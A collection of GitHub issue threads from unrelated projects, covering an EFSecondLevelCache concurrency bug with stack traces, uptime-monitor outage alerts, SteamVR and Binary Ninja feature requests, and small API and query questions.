 at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.Rethrow(ResourceExecutedContext context)
 at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.Next(State& next, Scope& scope, Object& state, Boolean& isCompleted)
 at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.InvokeFilterPipelineAsync()
 at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.InvokeAsync()
 at Microsoft.AspNetCore.Builder.RouterMiddleware.Invoke(HttpContext httpContext)
 at Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware.Invoke(HttpContext context)
 at Swashbuckle.AspNetCore.SwaggerUI.SwaggerUIIndexMiddleware.Invoke(HttpContext httpContext)
 at Swashbuckle.AspNetCore.Swagger.SwaggerMiddleware.Invoke(HttpContext httpContext)
 at Microsoft.AspNetCore.ResponseCompression.ResponseCompressionMiddleware.Invoke(HttpContext context)
 at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.HttpProtocol.ProcessRequests[TContext](IHttpApplication`1 application)

Thanks you for the quick response @VahidN. Unfortunately, this did not fix the issue for me. I see a lock was added in InvalidateCacheDependencies. Could it be there are other area's where the collection could be modified while not under the lock (ex InsertValue)?

where is stack trace? should i guess?

@VahidN I'm sure you missed our lovely banter. :)
Unfortunately, the implemented fix has not worked for me in production. I was able to reproduce in EFCacheServiceProviderTests.TestParallelInsertsAndRemoves test by fixing access to modified closure. I have fork with fix here that will cause test to fail reliably.
for (var i = 0; i < 4000; i++)
{
    var i1 = i;
    tests.Add(() => _cacheService.InsertValue($"EF_key{i1}", i1, new HashSet<string> {"entity1", "entity2"}));
}

I was testing a fix using reader writer lock as I think is more efficient for this type of cache than standard lock as most caches are read heavy in this commit. Happy to make pull request or modify as needed.
Version:
EFSecondLevelCache.Core 1.6.3

Output:
System.InvalidOperationException: Collection was modified; enumeration operation may not execute.
   at System.Collections.Generic.HashSet`1.Enumerator.MoveNext()
   at EFSecondLevelCache.Core.EFCacheServiceProvider.clearDependencyValues(String rootCacheKey)
   at EFSecondLevelCache.Core.EFCacheServiceProvider.InvalidateCacheDependencies(String[] rootCacheKeys)
   at [Private].Data.DbContext.SaveChangesAsync(CancellationToken cancellationToken) in [Private]/Data/RegistryDbContext.cs:line 86
   at [Private].Post([Private] value) in [Private]
   at Microsoft.AspNetCore.Mvc.Internal.ActionMethodExecutor.TaskOfIActionResultExecutor.Execute(IActionResultTypeMapper mapper, ObjectMethodExecutor executor, Object controller, Object[] arguments)
   at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.InvokeActionMethodAsync()
   at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.InvokeNextActionFilterAsync()
   at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.Rethrow(ActionExecutedContext context)
   at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.Next(State& next, Scope& scope, Object& state, Boolean& isCompleted)
   at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.InvokeInnerFilterAsync()
   at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.InvokeNextResourceFilter()
   at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.Rethrow(ResourceExecutedContext context)
   at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.Next(State& next, Scope& scope, Object& state, Boolean& isCompleted)
   at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.InvokeFilterPipelineAsync()
   at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.InvokeAsync()
   at Microsoft.AspNetCore.Builder.RouterMiddleware.Invoke(HttpContext httpContext)
   at Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware.Invoke(HttpContext context)
   at Swashbuckle.AspNetCore.SwaggerUI.SwaggerUIMiddleware.Invoke(HttpContext httpContext)
   at Swashbuckle.AspNetCore.Swagger.SwaggerMiddleware.Invoke(HttpContext httpContext, ISwaggerProvider swaggerProvider)
   at Microsoft.AspNetCore.ResponseCompression.ResponseCompressionMiddleware.Invoke(HttpContext context)
   at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.HttpProtocol.ProcessRequests[TContext](IHttpApplication`1 application)

Thank you. I added these changes and updated the project to .NET Core 2.2. Try version 1.6.4.

Updated to 1.6.4, no Errors since. Thanks again @VahidN

authors: VahidN beefo

repo: VahidN/EFSecondLevelCache


text:
🛑 b2b MarketingServices is down

In a00dcff, b2b MarketingServices (https://b2b-marketingservices.de/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: b2b MarketingServices is back up in 229c770 after 7 minutes.


text:
🛑 b2b MarketingServices is down

In 5127d79, b2b MarketingServices (https://b2b-marketingservices.de/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: b2b MarketingServices is back up in 90eb9a9 after 8 minutes.


text:
🛑 b2b MarketingServices is down

In 66da0b4, b2b MarketingServices (https://b2b-marketingservices.de/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: b2b MarketingServices is back up in 26af91d after 8 minutes.


text:
🛑 b2b MarketingServices is down

In abfac10, b2b MarketingServices (https://b2b-marketingservices.de/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: b2b MarketingServices is back up in feab132 after 16 minutes.


text:
🛑 [SW3] Ispconfig is down

In 435ce7a, [SW3] Ispconfig (https://config.sw3.cz) was down:

HTTP code: 0
Response time: 0 ms

Resolved: [SW3] Ispconfig is back up in b14b7a5 after 21 hours, 18 minutes.


text:
Single search window

Is your feature request related to a problem? Please describe.
Yes. Currently, the search box can be displayed on multiple tabs. For example, I open two text files and I can open a search window in each. As a result, I will have two search windows.
I expect it to work like this. I call the search window once and the search works on all open tabs, be it a text file, or explorer. The user should be able to switch between tabs while the search window is open. This can be seen in regular Notepad in Windows 11
Describe the solution you'd like
No response
Describe alternatives you've considered
No response

You can switch tabs because the find window in the text editor is not blocking, but each text editor has its own find window instance.

authors: xPaw zndxcvbn

repo: ValveResourceFormat/ValveResourceFormat


text:
Physics based hands

With the new physics interactions in the labs, with physics based hands, would it be possible for them to be added into this plugin? As it does have stuff from the lab it would make sense for them to be added alongside the other interactions.

It seems that this is being worked on:  https://twitter.com/MrZulubo/status/1170054934147895296 which is great

This is being added to version 2.4.0. You can test a beta release here if you like: https://github.com/ValveSoftware/steamvr_unity_plugin/releases/tag/2.4.0b

authors: alexander-clarke zite


text:
SteamVR_System file gets stuck at import and Unity does not start.

Using  SteamVR v2.5.0 (sdk 1.8.19)
After upgrading to the next Unity build of the same version, (19.3.0f3 to 0f5) SteamVR_System.asset did not import and Unity does not start.

Rolling back to 0f3 and deleting the SteamVR related folders does not fix it as it continues the same behavior after trying to re-import SteamVR in the project.
Deleting the SteamVR folder in any version helps to start the project but then there is no point since there is no SteamVR anymore.
After searching and asking for help I found out other people face the same problem.

Doesn't look like Valve gives a damn.
There is no movement here whatsoever.


text:
Added "RemoveAllListeners" For Boolean/Vector2/Single Actions

Due to the lack of availability for dispose all event from an action I needed to create a way to be able to reset that action
so I created the feature to remove all listeners wich is really useful for Dispose pattern
I'm using this right now to create a shared structure for alternate in using SteamVR and unity new input system without code change requirements

@zite  I just came back to see if these changes were accepted, and I see now there is some branch conflicts, I jut saw you did 25 days ago what I suggested here and also using exactly the same comments, same positions in the code structure and lil improvements, did you took the code from here? Why did you not just accepted the merge?

@zite  I just came back to see if these changes were accepted, and I see now there is some branch conflicts, I jut saw you did 25 days ago what I suggested here and also using exactly the same comments, same positions in the code structure and lil improvements, did you took the code from here? Why did you not just accepted the merge?

just saw you mentioned me in the last commit thanks!

just saw you mentioned me in the last commit thanks!

This was added. Closing the issue, thanks again.

authors: Extrys zite


text:
Relocate root of the repository to the package folder

Package manifest can be accessed with a direct git URL via UPM when repository's root is inside the package folder

Based on the current standards the root of the repository will remain at the root of the project for simplified repository workflow automation

repo: Varneon/UnityFBX-To-Blender-Importer


text:
Ignition delay time using the peak method missing for some cases

Currently ignition_delay_time with method="peak" calls np.argmax to find the time of maximum species mole fraction. This works in cases where the species mole fraction decreases after ignition; however, for some species, such as OH, concentration plateaus after ignition for some mechanisms with a very slight rise due to negligible but non-zero rate coefficients. In this case, the max of the concentration occurs at the final timestep. In this case, knightshock returns np.nan because it thinks that concentration is still rising, indicating ignition has not yet occurred.
Reported by @zuhayrpasha - could you respond with the temperature, pressure, and mixture that was causing this issue, and attach the Cantera mechanism file in the YAML format?

Temperature: 1000K
Pressure: 60 bar
X = {'AR':0.5368,'C3H8':0.012,'CH3OCH3': 0.018,'O2':0.4332}
mech_dames.txt

authors: corykinney zuhayrpasha

repo: VasuLab/KnightShock


text:
Show plugin status in new tab window

I want to see:

Current plugins Enabled
Current plugins Disabled
Current plugins Failed to Load
Current plugins Out of Date

every time I open binja, in pretty colors, clickable to navigate/sort in the plugin manager.
(inspired by #329)

Fixed in 4.2.6270-dev.


text:
* hotkey should suggest a size for the array based upon next DataVariable or end of Section/Segment

When you hit * hotkey on a variable it should look for the next DataVariable or end of Section/Segment and suggest an array size that would fill that region.

Suggested enhancements:

if user hits * on a thing of type $type (with no selection range) and there are a bunch of $type things following it, pre-populate the dialog with the range of those same-typed things (might also consider having it offer a "both ways" button so it would work even on a datavar in the middle of a sequence of them). Basically, act the same as if they'd hit * with all of the adjacent same-type datavars selected.
if a user enters a function name into the type field, use the type of that function for the element type, as if they had entered a function type

Resolves in builds >= 5041

authors: galenbwill plafosse psifertex


text:
Optimize virtual calls with "this" parameter when global variable is used in HLIL

What is the feature you'd like to have?
In virtual calls with global variable as "this" param HLIL creates new local variable instead of using global variable, thus instead of:
// gSomeObj - global variable of type "struct SomeClass"
gSomeObj->vtable->SomeFunc(gSomeObj, ...);

HLIL looks like:
struct SomeClass* gSomeObj_1 = gSomeObj
gSomeObj_1->vtable->SomeFunc(gSomeObj_1, ...)

Are any alternative solutions acceptable?
Idk actually, mb it can be solved with workflow (?).
Additional Information:
As i've said it only happens (at least i've checked against it) only when "this" parameter is passed to the function, so if function signature not using it, then BN generates compact code, for example, if SomeFunc signature is void(*)() or void(*)(int32_t @ rdx) then code would be gSomeObj->vtable->SomeFunc() and gSomeObj->vtable->SomeFunc(1337) accordingly.

Right now for folding to occur here we would need to special case for this exact expression, if there was a compelling argument other than just removing a single assignment, and that this is actually impacting our analysis further down the function, then we could see about making this fold.
The reason you are seeing the fold when it's not in the parameter is because then there is only one use. Any other folding must occur where side effects are observed, in your case this is not an issue but nonetheless it should be mentioned.

authors: emesare mostobriv


text:
Add Rahul-812 to Contributors list

I have added the setting option and navigation on tap

Hey @rahul-812 firstly so sorry for late response, I was caught up with something esle.
And secondly the UI of the app is upgraded so we dont require to navigate to settings screen for now and that is replaced with a drawer.
You can view the changes to the app by setting your repository to upstream. And to do so follow the procedure

git remote add upstream https://github.com/Vedarutvija/flutter_iot.git
git pull upstream master
git push


text:
Rework authentication

Authentication is currently handled by a field in all json requests.
Most projects, however seem to do this over a HTTP Header, there is also support for that in Vapor. I think we should think about migrating to that approach of authentication.

After discussion, it was deemed that the Bearer authentication method is to be used, moving forward.
Velocity will use Vapor interfaces for the implementation.

repo: VelocityVMM/Velocity


text:
Free nitro plugin

Try that or not?

yskyn

⛈

:wahhgone:

authors: Vendicated mantikafasi scrazzz

repo: Vendicated/AliucordPlugins


text:
Not rendering if Blender window is not active (foreground)

Seems like if the Blender (2.8) window is not in the foreground, Render Burst finishes rendering the current camera, but does not continue with the next one.
BTW. awesome add-on!

No. this is not the bug, if is the screen goes to sleep or the computer is locked.

repo: VertStretch/RenderBurst


text:
LOG-2354: Update Dockerfile to use public base

Update base image to be public

https://issues.redhat.com/browse/LOG-2354

cc @alanconway

/assign @vimalk78 @syedriko

@jcantrill are we concerned at all we're not using tags, implicit latest that is, with the new images?

@syedriko I think we pinned it elsewhere.  Please submit a PR with changes to pin the version as needed

@syedriko I think we pinned it elsewhere.  Please submit a PR with changes to pin the version as needed

authors: jcantrill syedriko

repo: ViaQ/log-file-metric-exporter


text:
Documentation

As LovePotion has some unique functions and also does not support every Love2D function we should make a documentation for reference.

I will be writing documentation fairly soon, only recently has LovePotion been getting a fair bit of usage

I added some stuff to the GitHub wiki if that's okay..
I could write some more pages if you want :)

Sure, any help is welcome! There's a couple of changes that I'll do to your pages in a bit

You could also add a list of compatible libraries.
So far, AnAL and HUMP.timer work perfectly without changes needed.

authors: PremadeGames Substance12 VideahGams

repo: VideahGams/LovePotion


text:
Architecture Specific Builds are Broken.

Hello,
I spent quite some time trying to build ARM specific builds but it seemed to build the exact same DLL no matter the release config settings. it took me quite some time to hunt down the original repo and realize that the reason it doesn't work is that this updated repo zips up the .so files, meaning the Arch specific configs won't work.
Trying to delete the x86 .so files and rezipping the files back Opencv.aar also does not work as it seems to break the final DLL where it cannot detect certain namespaces in the JNI wrappers.
As a result I am currently having to use the original repo since this current repo's final DLL is more than double the size of the actual app I am trying to integrate OpenCV functionality in.

I am implementing this same repository and I managed to get several actions on the camera to work, the functionality that is causing me problems right now is "FaceDetectActivity.cs" since it requires a file, in this path: "XamarinProyect.Android\libs\armeabi- v7a". called "libdetection_based_tracker.co" ......the documentation tells me that it is controlled by executing the run command in which you end up being in the path "XamarinProyect.Android\FaceDetection\jni" so I execute the file Android.mk, I have not been able to do this and I wonder if by chance you have the file called "libdetection_based_tracker.co" that is created with the configuration of Android.mk and Application.mk, if you have the file?

It has been a while since I worked on it but I would highly recommend using the original repo this was forked from because the arch specific builds did not seem to work no matter what I tried.


text:
🛑 K-Jet is down

In efd995b, K-Jet ($KJET) was down:

HTTP code: 0
Response time: 0 ms

Resolved: K-Jet is back up in 8146de8.

Resolved: K-Jet is back up in 8146de8.

repo: Vikingfr/upptime


text:
🛑 flashform is down

In d640c27, flashform ($FLASHFORM) was down:

HTTP code: 0
Response time: 0 ms

Resolved: flashform is back up in 54cc014.


text:
Composite video cannot have read aloud prompt

A composite video with these build settings :
video_build_settings = VideoBuildSettings(
music_building_context=MusicBuildingContext(
apply_background_music=True,
generate_background_music=True,
),
test_mode=False,
include_read_aloud_prompt=True,
target_model_provider="videocrafter",
output_video_file_name="Coffee.mp4",
interpolate=True,
)
Do not have a read aloud prompt even if we set-it up. Example in the example colab

not reproduced on similar integration test : test_build_tom_cruse_video from TestPromptBasedVideo
Looking the collab, which one please?

Looking at the latest collab, we do have a read aloud prompt, don't we? \fyi In the way of checking this, I found and fixed another  bug to prepare build_settings for PromptBasedVideo, so the error message on the log re coroutine will be gone

Oh I see we need to specify the prompt from promptFactory in video_build_settings

authors: jeffmac-aix leclem

repo: Vikit-ai/sdk


text:
In Vincario_VIN_decode_Info.py id should be "info" not "decode"

The following sample code has an incorrect value for id:
import json
import requests
import hashlib

vin = "WF0MXXGBWM8R43240"

apiKey = "API_KEY"
secretKey = "API_SECRET"

apiPrefix = "https://api.vindecoder.eu/3.2"
id = "decode"

controlSum = hashlib.sha1((vin.upper()+"|"+id+"|"+apiKey+"|"+secretKey).encode('utf-8')).hexdigest()[:10]
url = apiPrefix+"/"+apiKey+"/"+controlSum+"/decode/info/"+vin.upper()+".json"

json_data = requests.get(url).json()
print(json_data)

correct code
import json
import requests
import hashlib

vin = "WF0MXXGBWM8R43240"

apiKey = "API_KEY"
secretKey = "API_SECRET"

apiPrefix = "https://api.vindecoder.eu/3.2"
id = "info"

controlSum = hashlib.sha1((vin.upper()+"|"+id+"|"+apiKey+"|"+secretKey).encode('utf-8')).hexdigest()[:10]
url = apiPrefix+"/"+apiKey+"/"+controlSum+"/decode/info/"+vin.upper()+".json"

json_data = requests.get(url).json()
print(json_data)

Ah, sorry for this mistake. Thank you for pointing it out. It's been fixed.

authors: JakubJachym eafpres

repo: Vincario/api-code-sample


text:
select query where..andWhereNotIn. does objections have substitute for And keyword?

Hi, I would like to query this value:
sql syntax:
select * from platform.trade where userId = 2 and status not in ('pending', 'canceled');
but it seems like i cannot do it (using where...andWhereNotIn) using objections query.
i tried using using where..orWhereNotIn like below sample, but the output is not something that i want it to be.
sample query:
await Trade.query()
.where('userId', userId)
.orWhereNotIn('status', ['PENDING', 'CANCELED'])
Is there any way in objections could i get the value from this query:
select * from platform.trade where userId = 2 and status not in ('pending', 'canceled');

the answer is using where..havingNotIn